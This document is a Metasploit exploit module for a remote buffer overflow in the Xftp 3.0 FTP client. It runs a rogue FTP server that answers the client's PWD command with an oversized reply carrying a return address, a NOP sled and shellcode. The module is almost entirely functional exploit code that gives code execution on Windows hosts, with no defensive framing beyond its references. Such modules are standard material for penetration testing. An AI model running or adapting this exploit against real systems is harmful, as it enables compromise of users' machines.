Xftp FTP Client 3.0 PWD Remote Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xftp FTP Client 3.0 PWD Remote Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the Xftp 3.0 FTP client that is triggered
          through an excessively long PWD message.
        },
        'Author' => [
          'zombiefx', # Original exploit author
          'dookie' # MSF module author
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2010-20122' ],
          [ 'OSVDB', '63968'],
          [ 'EDB', '12332' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
        },
        'Payload' => {
          'Space' => 434,
          'BadChars' => "\x00\x0a",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows Universal', { 'Ret' => 0x100123AF } ], # JMP ECX in nslicense.dll
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-04-22',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
        OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
      ]
    )
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
    client.put(buffer)
  end

  def on_client_data(client)
    # Get the client username
    client.get_once

    # Prompt the client for the password.
    user = "331 Anonymous access allowed.\r\n"
    client.put(user)
    client.get_once

    # Handle the clients PWD command.
    pass = "230 Login successful.\r\n230 User logged in.\r\n"
    client.put(pass)
    client.get_once

    # Send the exploit
    sploit = "257 \"/"
    sploit << rand_text_alpha_upper(1019)
    sploit << [ target.ret ].pack('V')
    sploit << make_nops(55)
    sploit << payload.encoded
    sploit << "\" is current directory.\r\n"

    client.put(sploit)

    # Get the CWD from the client
    client.get_once
  end
end